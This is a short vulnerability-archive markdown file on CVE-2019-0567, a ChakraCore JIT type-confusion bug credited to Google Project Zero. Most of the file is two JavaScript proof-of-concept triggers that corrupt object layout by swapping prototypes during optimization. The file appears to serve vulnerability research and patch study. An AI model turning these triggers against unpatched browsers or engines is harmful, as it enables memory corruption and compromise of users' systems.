Skip to content

Latest commit

 

History

History
71 lines (47 loc) · 1.05 KB

CVE-2019-0567.md

File metadata and controls

71 lines (47 loc) · 1.05 KB

CVE-2019-0567

  • Report: Oct 2018
  • Fix: Jan 2019
  • Credit: lokihardt of Google Project Zero

PoC

function cons() {

}

function opt(o, value) {
    o.b = 1;

    new cons();

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        cons.prototype = {};

        let o = {a: 1, b: 2};
        opt(o, {});
    }

    let o = {a: 1, b: 2};

    cons.prototype = o;

    opt(o, 0x1234);

    print(o.a);
}

main();
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x1234);

    print(o.a);
}

main();

Reference